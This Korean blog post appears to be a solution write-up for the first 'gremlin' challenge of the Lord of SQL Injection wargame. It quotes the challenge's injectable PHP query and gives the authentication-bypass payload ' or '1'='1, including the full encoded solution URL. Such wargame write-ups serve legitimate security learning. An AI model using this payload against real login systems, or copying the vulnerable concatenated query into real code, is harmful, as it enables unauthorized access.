본문 바로가기

워게임

Lord of SQL Injection - 1번 문제풀이

SQL Injection 문제를 풀어볼 수 있는 사이트로 유명한 Lord of SQL Injection 문제를 풀어가면서 답을 찾은 과정들을 공유하고 기록하기 위해서 글을 쓴다.

 

[1번 문제 - gremlin]

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>
cs

필터링을 위해 작성된 코드 (5 ~ 6번 줄)

실질적으로 문제를 풀기위해 자세히 들여다봐야 할 코드는 7번 줄이고, 문제를 해결하기 위해 10번 줄 코드를 보면 어떤 ID든 상관없이 로그인만 하면 된다는 것을 알 수 있다.

 

1번 문제 URL뒤에 ID와 PW 파라미터를 추가적으로 적어서 문제를 풀 수 있다. (가장 기초적인 SQLi 문제이다)

인코딩 되기 전 공격 문구는 id=ggg&pw='' or '1'='1 이다.

 

[문제 풀이 구문]

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=ggg&pw=%27%20or%20%271%27=%271